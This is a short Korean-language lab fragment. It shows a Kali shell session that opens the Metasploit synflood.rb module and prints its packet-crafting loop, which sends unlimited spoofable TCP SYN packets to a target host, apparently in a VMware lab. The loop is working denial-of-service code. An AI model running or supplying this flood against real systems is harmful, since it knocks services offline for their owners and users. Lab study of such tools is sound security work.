Rakefile      db      metasploit-framework-pcap.gemspec  msfconsole  msfmachscan  msfrpcd    ruby
app           lib     metasploit-framework.gemspec       msfd        msfpescan    msfupdate  scripts

root@kali:/usr/share/metasploit-framework# cd modules/auxiliary/dos/tcp
root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp#
root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# ls
junos_tcp_opt.rb  synflood.rb

root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# vi synflood.rb

 

~ 중간 생략 ~

 

    
    open_pcap

    sent = 0
    num = datastore['NUM']

 

    print_status("SYN flooding #{rhost}:#{rport}...")

 

    p = PacketFu::TCPPacket.new
    p.ip_saddr = srchost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.syn = 1

 

    while (num <= 0) or (sent < num)
      p.ip_ttl = rand(128)+128
      p.tcp_win = rand(4096)+1
      p.tcp_sport = sport
      p.tcp_seq = rand(0x100000000)
      p.recalc
      capture_sendto(p,rhost)
      sent += 1
    end

 

    close_pcap
  end
end
      

: q

 

 

 

root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# cd
root@kali:~#

 

 

 - 만약, Linux200 상태가 맛이 갔다면, VMware에서 강제로 'reset'를 실시한다